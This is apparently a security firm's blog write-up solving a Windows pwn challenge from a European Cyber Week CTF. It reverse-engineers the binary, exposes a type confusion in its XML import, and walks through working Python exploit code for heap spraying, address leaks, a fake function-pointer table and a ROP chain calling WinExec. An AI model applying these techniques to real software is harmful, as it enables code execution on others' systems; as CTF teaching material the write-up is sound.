Every year, during European Cyber Week (ECW), a preselection phase is organized to qualify for the ECW Capture the Flag (CTF) finals held in Rennes on November 20th this year. Players compete in challenges in the crypto, reverse, pwn, forensics, web and misc categories.
Last year, Express, one of our security researcher, was the only one to have successfully solved all the pwn challenges. He explained the solutions in this blogpost.
Believe it or not: he did it again this year!
Today we will cover an interesting Windows pwn challenge. You can access the solve scripts for all of the pwn challenges here.Without further ado, we’re going to start looking at how the challenges got solved.
Address book
Description
Number of solves: 1
Difficulty: Hard
You stumble across a peculiar-looking shop…
Get the flag inflag.txt
.
address_book.exe
kernel32.dll
Challenge made by ASTEK.
Intro
Address book
is a pwnable x86_64
Windows challenge where we do not have the sources. Our goal is to read the flag on the server.
Since we are on Windows, we can use winchecksec tool to see protections applied to the binary, but there is also Sysinternals ProcessExplorer that does the job:
Winchecksec gives us more information:
Results for: address_book.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "Present"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotApplicable"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"
Basically, the binary is enabled with all protections but does not have Control Flow Guard enabled.
You can find all the files and solve script here.
Reverse engineering
The binary is stripped so when opening it in IDA we must rename all the functions we understand, thus all the functions name you will see are not the official ones.
main
#define ENTRY_PRINT 0
#define ENTRY_UPDATE 1
#define ENTRY_REMOVE 2
entries = NULL;
if (ThreadKiller(500000))
{
while (1)
{
print_actions();
if (!get_int(&choice)) break;
switch (choice)
{
case 1: add_entry(&entries); break;
case 2: list_entries(entries); break;
case 3: manage_entry(&entries, ENTRY_PRINT); break;
case 4: manage_entry(&entries, ENTRY_UPDATE); break;
case 5: manage_entry(&entries, ENTRY_REMOVE); break;
case 6: export_xml(entries); break;
case 7: import_xml(&entries); break;
case 8: msg = "Goodbye\n"; goto err;
default:
msg = "Wrong choice. Try again\n";
err:
printf(msg);
break;
}
if ( choice == 8 )
return 1;
}
log_error("This is not a number !! GoodBye");
return 1;
}
else
{
printf("Init failed\n");
return -1;
}
The code above will first start a thread that will kill the current process after 500000ms so around 8 minutes. It will get a user integer to call the function related to the action wanted.
We can already note some information, there is an XML import/export feature, the print/update/remove options are executed in the same function.
add_entry
The function used to add a new entry takes a pointer to entries
head coming from main
, and will insert an entry based on the type of entry:
void add_entry(struct entry **entries)
{
unsigned int type_idx;
entry_type *types;
struct entry *entry;
void *person;
void *shop;
void *hospital;
void *police_station;
void *fire_station;
void *association;
void *attraction_park;
void *garden;
int choice;
choice = -1;
printf("Select the new entry type:\n");
type_idx = 0;
types = &entry_types;
do
{
printf("\t %d. %s\n", types->entry_type, types->name_uppercase);
++type_idx;
++types;
} while (type_idx < 8);
if (get_int(&choice))
{
switch (choice)
{
case 1:
person = calloc(sizeof(char), 0x100);
if (!person) return;
entry = new_person(person);
break;
case 2:
shop = calloc(sizeof(char), 0x148);
if (!shop) return;
entry = new_shop(shop);
break;
case 3:
hospital = calloc(sizeof(char), 0x1C0);
if (!hospital) return;
entry = new_hospital(hospital);
break;
case 4:
police_station = calloc(sizeof(char), 0x130);
if (!police_station) return;
entry = new_police_station(police_station);
break;
case 5:
fire_station = calloc(sizeof(char), 0x100);
if (!fire_station) return;
entry = new_fire_station(fire_station);
break;
case 6:
association = calloc(sizeof(char), 0x120);
if (!association) return;
entry = new_association(association);
break;
case 7:
attraction_park = calloc(sizeof(char), 0x198);
if (!attraction_park) return;
entry = new_attraction_park(attraction_park);
break;
case 8:
garden = calloc(sizeof(char), 0x120);
if (!garden) return;
entry = new_garden(garden);
break;
default:
goto bad_type;
}
if (entry)
{
if (entries)
{
entry->next = *entries;
*entries = entry;
}
}
}
else
{
bad_type:
log_error("Bad type");
}
}
There are eight types of entries and we can see they have different sizes. We will not focus on each entry creation functions but rather see an example with new_shop
so you get an idea of how it works.
new_shop
new_shop
is the simplest and shortest function, thus it will be quick to understand how other functions will work.
After having reverse engineered the binary, we get this structure type for a shop entry:
struct manage_fns_t {
void (*print_xml)(struct entry *, int);
void (*update)(struct entry *);
void (*remove)(struct entry **, struct entry *);
};
struct shop_t {
char address[100];
char phone_num[20];
char open_time[50];
char business[22];
void (*print)(struct entry*);
struct manage_fns_t* manage_fns;
};
struct entry {
uint32_t entry_id;
struct entry* next;
char name[100];
struct shop_t shop;
};
The function will get all the user input to fill the structure allocated in add_entry
as seen previously:
entry *new_shop(entry *entry)
{
struct manage_fns_t *manage_fns;
entry->entry_id = 0x6847;
printf("Name ? ");
if (readn(entry->person.name, 100)
&& (printf("Address ? "), readn(entry->person.address, 100))
&& (printf("Phone number ? "), readn(entry->person.phone_num, 16))
&& (printf("Opening time ? "), readn(entry->shop.open_time, 50))
&& (printf("Business type ? "), readn(entry->shop.business, 22)))
{
manage_fns = (struct manage_fns_t *)calloc(sizeof(char), sizeof(manage_fns_t));
entry->shop.manage_fns = manage_fns;
if (manage_fns)
{
entry->shop.print = shop_print;
manage_fns->print_xml = shop_format_xml;
entry->shop.manage_fns->update = shop_update;
entry->shop.manage_fns->remove = remove_shop_entry;
printf("%s created:\n", "Shop");
entry->shop.print(entry);
return entry;
}
else
{
remove_shop_entry(NULL, entry);
log_error("Cannot allocate memory :(");
return NULL;
}
}
else
{
remove_shop_entry(NULL, entry);
log_error("Bad value, retry...");
return NULL;
}
}
There is a function pointer array allocated which holds three pointers used later in manage_entry
. Please note the function pointer used to print an entry using the entry->[entry_type].print
field is never used in the binary.
As you may notice, there is an entry_id
filled with a static value, in our case it is 0x6847
. This is an identifier to recognize the type of an entry when being processed.
Here is the list of all entries types:
- Person:
0x5984
- Shop:
0x6847
- Hospital:
0x2975
- Police station:
0x5985
- Fire station:
0x3267
- Association:
0x1532
- Attraction park:
0x2795
- Garden:
0x8762
list_entries
This function will print all the entries name by iterating the linked list:
void list_entries(entry *entry_head)
{
entry *entry;
int id
entry = entry_head;
id = 1;
if (entry_head)
{
printf("Entries:\n");
do
{
printf("\t%-2d %s\n", id, entry->name);
entry = entry->next;
++id;
}
while (entry);
printf("\n");
}
else
{
printf("No entries is present\n\n");
}
}
manage_entry
This is the function that enables you to format an entry to XML, update the content and remove an entry:
void manage_entry(entry **entries, int choice)
{
entry *entry;
uint32_t entry_id;
struct manage_fns_t *manage_fns;
int del_or_update;
entry = get_entry_by_name(*entries);
if (!entry)
{
printf("\n");
return;
}
entry_id = entry->entry_id;
switch (entry_id)
{
case 0x5984:
manage_fns = entry->person.manage_fns;
if (!manage_fns)
return;
if (!choice)
{
person_print(entry);
return;
}
delete:
del_or_update = choice - 1;
if (del_or_update)
{
if (del_or_update == 1)
{
printf("Destroying %s\n\n", entry->name);
entry->person.manage_fns->remove(entries, entry);
}
return;
}
update:
manage_fns->update(entry);
return;
case 0x1532:
[...]
default:
bad_entry_type:
log_error("Bad entry type");
return;
}
}
It uses the function array manage_fns
to update and remove an entry based on its type. This is a useful feature since if it can be overwritten we can get an arbitrary call primitive. Let’s keep this in mind for later.
export_xml
A feature is present to export an entry to XML format, this will enable later to import an entry in XML format:
void export_xml(entry *entry)
{
unsigned int id;
uint32_t entry_id;
struct manage_fns_t *entry_format_xml;
id = 1;
printf("<?xml version =\"1.0\" encoding=\"utf-8\" ?>\n\n");
printf("<register>\n");
while (entry)
{
entry_id = entry->entry_id;
switch (entry_id)
{
case 0x5985:
entry_format_xml = entry->police_station.manage_fns;
print_xml:
if ( entry_format_xml )
entry_format_xml->print_xml(entry, id);
goto next;
case 0x6847:
entry_format_xml = entry->shop.manage_fns;
goto print_xml;
case 0x8762:
[...]
}
log_error("Bad entry type");
next:
entry = entry->next;
++id;
}
printf("</register>\n\n");
}
Using the function pointer in manage_fns->print_xml
, the function will dump to the user the entry in XML format.
import_xml
Because the function is pretty heavy to paste on an article, we will skip some parts. It will first check that the user input is in a good XML format and after that it will load the XML and call entry-specific functions to load the XML entry to the memory:
void import_xml(entry *entry)
{
[...]
xml_document::load(v29, this, stream, 116, 0);
if ( !__crt_strtox::is_zero(this, v8) )
{
v9 = xml_parse_result::description(this);
printf("Cannot parse this XML: %s at position %llx\n\n", v9, this[1]);
goto err;
}
sub_140008080(v29, &v15, "register");
if ( unknown_libname_1(&v15) )
{
printf("Cannot parse this XML: cannot find root node 'register'\n\n");
goto err;
}
sub_1400084A0(&v15, &v14);
while ( sub_140007B10(&v14) )
{
v10 = sub_140008010(&v14, &v16, "id");
entry_id = sub_140007FF0(v10, 0);
if ( entry_id )
{
if ( !strcmp(person_lower, get_tag_name(&v14)) )
{
xml_person = load_xml_person(v14, entry_id);
goto end;
}
if ( !strcmp(shop_lower, get_tag_name(&v14)) )
{
xml_person = load_xml_shop(v14, entry_id);
goto end;
}
[...]
} else {
log_error("Error during parsing this XML: bad id or missing id");
}
v14 = *sub_140008B30(&v14, &v18);
}
printf("\n");
}
We should note that based on a string search we can easily find that pugixml is used for XML processing.
There is a tiny chance of having to exploit a bug in this library since there is no major issue reported on the project, and a 0-day exploit is likely not the case.
load_xml_shop
Since there are too many XML loading functions, we will only cover load_xml_shop
as an example:
entry *__fastcall load_xml_shop(__int64 xml_obj, int id)
{
entry *entry;
char *name;
rsize_t business_len;
rsize_t name_len;
char *address;
rsize_t address_len;
char *phone;
rsize_t phone_len;
char *opening;
rsize_t opening_name;
char *business;
struct manage_fns_t *manage_fns;
if (id == -1)
{
log_error("Bad id");
return NULL;
}
entry = calloc(sizeof(char), 0x148);
if (!entry) goto calloc_failure;
entry->entry_id = 0x6847;
name = get_elem_by_tag_name(&xml_obj, "name");
business_len = -1;
if (name)
{
name_len = -1;
do
++name_len;
while (name[name_len]);
memcpy_s(entry->name, 100, name, name_len);
entry->name[99] = 0;
}
address = get_elem_by_tag_name(&xml_obj, "address");
if (address)
{
address_len = -1;
do
++address_len;
while ( address[address_len] );
memcpy_s(&entry->shop, 100, address, address_len);
entry->shop.address[99] = 0;
}
phone = get_elem_by_tag_name(&xml_obj, "phone");
if (phone)
{
phone_len = -1;
do
++phone_len;
while (phone[phone_len]);
memcpy_s(entry->shop.phone_num, 16, phone, phone_len);
entry->person.phone_num[15] = 0;
}
opening = get_elem_by_tag_name(&xml_obj, "opening");
if (opening)
{
opening_name = -1;
do
++opening_name;
while (opening[opening_name]);
memcpy_s(entry->shop.open_time, 50, opening, opening_name);
entry->shop.open_time[49] = 0;
}
business = get_elem_by_tag_name(&xml_obj, "business");
if (business)
{
do
++business_len;
while ( business[business_len] );
memcpy_s(entry->shop.business, 22, business, business_len);
entry->shop.business[21] = 0;
}
manage_fns = calloc(sizeof(char), sizeof(manage_fns_t));
entry->shop.manage_fns = manage_fns;
if (!manage_fns)
{
remove_shop_entry(NULL, entry);
calloc_failure:
log_error("Cannot allocate memory :(");
return NULL;
}
entry->shop.print = shop_print;
manage_fns->print_xml = shop_format_xml;
entry->shop.manage_fns->update = shop_update;
entry->shop.manage_fns->remove = remove_shop_entry;
printf("%s imported:\n", "Shop");
entry->shop.print(entry);
return entry;
}
By iterating over the entry fields name in the XML, it will load the data in a freshly allocated entry as done by the add_entry
.
For now you have all the information needed to understand the next part where we will see the buggy code.
Type confusion
Looking at all the previous code, there is no obvious bugs that can be used.
But after some careful observations, we can see there is an issue caused in load_xml_attraction_park
. In fact, the entry type ID assigned is the same as a hospital entry (0x2975
).
The vulnerable code is the following:
entry * load_xml_attraction_park(__int64 xml_obj, int id)
{
entry *entry;
if (id == -1)
{
log_error("Bad id");
return NULL;
}
entry = calloc(sizeof(char), 0x198);
if (!entry)
{
log_error("Cannot allocate memory :(");
return NULL;
}
entry->entry_id = 0x2975;
[...]
}
This is a major issue since the program will process this entry later as a hospital entry and a hospital entry has a size of 0x1C0
whereas an attraction park is 0x198
.
Exploitation
Introduction
Now that we found the type confusion bug, we must choose the right way to exploit it. Since the attraction park allocation is 0x198
big, it means that function pointer array will be located outside the allocation.
To get an idea, we will break in WinDbg to see the layout of both objects in memory. We execute bp address_book+1F5C
and bp address_book+1ECE
to get the entry pointer after having called new_attraction_park
and new_hospital
.
We create two entries like that:
io = Exploit()
io.new_attraction_park(
name = b'A'*8,
director = b'B'*8,
address = b'C'*8,
phone = b'D'*8,
open_time = b'E'*8,
surface = 1,
attraction_num = 5)
io.new_hospital(
name = b'A'*8,
director = b'B'*8,
address = b'C'*8,
phone = b'D'*8,
open_time = b'E'*8,
surface = 0x1,
bed_num = 15,
emergency_bed_num = 1,
operating_room_num = 1,
awards = b'F'*8,
cured = 0x1,
dead = 0x1,
lost = 0x1)
pause()
io.interactive()
io.close()
Here is the layout of a hospital vs attraction park allocation after running the script:
On the left we see the attraction park layout, as we notice there is 0x28
bytes of difference with the hospital layout.
On the hospital side, the function pointer array is located at the end of the offset 0x1B8
. This means after type confusion the function pointer array will be whatever value out-of-bounds the attraction park object.
Getting binary base
Before going into memory corruption, we must get a leak of some important memory area as the binary base, an entry object and kernel32 DLL.
This snippet will give us a binary leak, enabling us to recover the binary base:
if io.args.remote:
pe.address = 0x7ff7e9d90000
else:
pe.address = 0x7ff708e00000
stack_lift = pe.address + 0xbc88 # add rsp, 0x38 ; ret
for i in range(0x100):
io.register_attraction_park(1, b'A'*0x8, b'B'*8, b'C'*0x44 + p64(stack_lift)[:6], b'D'*8, b'E'*8, 1, 5)
entry_data = io.print_entry(b'A'*8)
if len(entry_data):
break
pe_addr = pe.address
pe.address = u64(entry_data[entry_data.find(b"Awards: ") + len(b"Awards: "):].split(b"\r\n\t")[0].ljust(8, b'\0')) << 0x10
assert pe_addr == pe.address, "[!] Update of pe.address needed %#x" % (pe.address)
print("pe_base @ %#x" % pe.address)
We must explain a bit how it is working and why there is a loop that checks the length is not zero.
Because we are using the type confusion when calling io.print_entry(b'A'*8)
which on the binary side calls manage_entry(&entries, 0)
, we can print the attraction_park
entry fields as a hospital
.
We will get pointers of entry->print
(offset: 0x188) field and out-of-bound data at offset 0x1A8
from the attraction park located at entry->hospital.awards
, entry->hospital.nb_cured
, entry->hospital.nb_dead
and entry->hospital.nb_lost
.
So we now have the base address of the binary by extracting the value of entry->hospital.awards
printed out.
Note about ASLR
As you may notice, therepe.address
is the base address and is static. This is because on Windows there is a caching mechanism that makes Image load address random only after a reboot. This is a known thing and it is why in the exploit we use static base address. We only need to leak on time the binary base.
The challenge can be solved in one shot without having multiple stages but for the sake of simplicity we will not do it.
Arbitrary function call
Now comes the part which is a bit more complex, we have the binary base but there is no way to store values in a buffer located in the binary address range like a global, etc.
But hopefully the memory layout when an attraction park is allocated makes that the other fields mentioned before can leak data of a next allocation at offset 0x1A8
since there is a freed chunk behind.
Note: The heap implementation used is NT Heap; thus allocations will fall under the LFH mechanism meaning we will need to spray allocations in order to get an entry->next
pointer leak at offset 0x1A8
.
So our plan is to spray person
objects:
SPRAY_SIZE = 0x28
# we spray person entries to get a person entry pointer under attraction entry confused
for i in range(SPRAY_SIZE):
io.new_person(b'X'*0x20, b'B'*99, b'C'*15)
Then we can get the leak using entry->hospital.awards
, entry->hospital.nb_cured
, entry->hospital.nb_dead
and entry->hospital.nb_lost
, the method get_hospital_leak
will do the job:
# we have a pointer to a person entry
person_entry = io.get_hospital_leak(io.print_entry(b'A'*8))
print("person_entry @ %#x" % person_entry)
As we do not know which hospital entry has this address, we will just update all person entries with a fake manage_fns
structure pointer since we have a leak now.
ptr_fill = b""
ptr_fill += b'X'*8 + p64(person_entry + 0x20)
# person_entry + 0x20 points here
ptr_fill += p64(0x4141414141414141) # print_xml
ptr_file += p64(0x4242424242424242) # update
ptr_fill += p64(0x4343434343434343) # remove
# we replace the content of all person entries with the fake manage_fns
for i in range(SPRAY_SIZE):
io.update_person(b'X'*0x20, ptr_fill, b'B'*99, b'C'*15)
We can now make a test to see if we crash using the XML export feature, for example:
io.export_to_xml()
And the program crashes as expected:
Getting kernel32 leak
Having a heap leak of an area, we control will be very useful later. But we must get a leak of kernel32.dll
in order to get code execution, and this part is probably the hardest one since we did not find a way to leak a kernel32.dll
using existing functions in the binary.
Most of the time we found a pointer available and it was working locally. But on the remote instance the leak could not be printed in time after the program crashes.
After many attempts, the final idea was to do a ropchain using a specific part of the program located in police_station_update
function at address_book+0x6370
:
A small update of the previous code needs to be done:
ptr_fill = b""
ptr_fill += b'X'*8 + p64(person_entry + 0x20)
# person_entry + 0x20 points here
ptr_fill += p64(pe.address + 0x6370) # police_station_update
ptr_fill += p64(0x4242424242424242)
ptr_fill += p64(0x4343434343434343)
At the end of the function, there is a last input taken from the user of size 0x1024
and it is stored on the stack. Just after there is a case when a valid number of policemen is given where it calls the entry->police_station.print
function pointer called.
This is very useful since if we have a stack lifting gadget so we can pivot to a ropchain with our arbitrary call primitive.
Using rp++ we find a cool gadget doing an add rsp, 0x38 ; ret
, we can use it at the beginning so it will be called later in police_station_update
:
stack_lift = pe.address + 0xbc88 # add rsp, 0x38 ; ret
for i in range(0x100):
io.register_attraction_park(1, b'A'*0x8, b'B'*8, b'C'*0x44 + p64(stack_lift)[:6], b'D'*8, b'E'*8, 1, 5)
entry_data = io.print_entry(b'A'*8)
if len(entry_data):
break
Now we can make a ropchain to leak a kernel32 .idata
entry, in our case GetCurrentProcess
:
GetCurrentProcessIdata = pe.address + 0xE008
getchar = pe.address + 0x1100
printf = pe.address + 0x1160
rp = b''
rp += b'A'*8
rp += pop_rcx(GetCurrentProcessIdata)
rp += p64(printf)
rp += p64(getchar)
rp += b'A'*8
# call police_station_update
io.export_to_xml()
io.update_police_station(b'A'*8, b'blank', b'blank', b'blank', b'blank', b'8'.ljust(8, b' ') + rp)
io.io.recvuntil(b"\r\n")
kernel32_GetCurrentProcess = u64(io.io.recv(8).ljust(8, b'\0'))
print("GetCurrentProcess @ %#x" % kernel32_GetCurrentProcess)
if io.args.remote:
kernel32_base = kernel32_GetCurrentProcess - 0x23C80
else:
kernel32_base = kernel32_GetCurrentProcess - 0x24bc0
print("kernel32_base @ %#x" % kernel32_base)
Running this gives us the kernel32.dll
base address:
Since the base address of modules does not change after a boot, we can hardcode the base address and run one more time. The ropchain is a call to WinExec("cmd.exe /c type flag.txt")
, we store the command in the known person entry:
ptr_fill = b""
ptr_fill += b'X'*8 + p64(person_entry + 0x20)
# person_entry + 0x20 points here
ptr_fill += p64(pe.address + 0x6370) # police_station_update
ptr_fill += p64(0x4242424242424242)
ptr_fill += p64(0x4343434343434343) + b"cmd.exe /c type flag.txt"
It gives us this final payload:
if io.args.remote:
kernel32_base = 0x7ff8583c0000
WinExec = kernel32_base + 0x1280
else:
kernel32_base = 0x7ffda7510000
WinExec = kernel32_base + 0x68820
cmd_str = person_entry + 0x38
rp = b''
rp += b'A'*8
rp += pop_rcx(cmd_str)
rp += p64(WinExec)
rp += b'A'*8
# call police_station_update
io.export_to_xml()
io.update_police_station(b'A'*8, b'blank', b'blank', b'blank', b'blank', b'8'.ljust(8, b' ') + rp)
And we retrieve the flag successfully:
Flag: ECW{1'M_S0_S0_C0NFUS3D_*-*}
Conclusion
This was a great challenge, it was very different from what we are used to seeing on Windows pwn challenges in CTFs. The bug was subtle and the exploitation part involved some reflexions. A big thanks to the author of the challenge.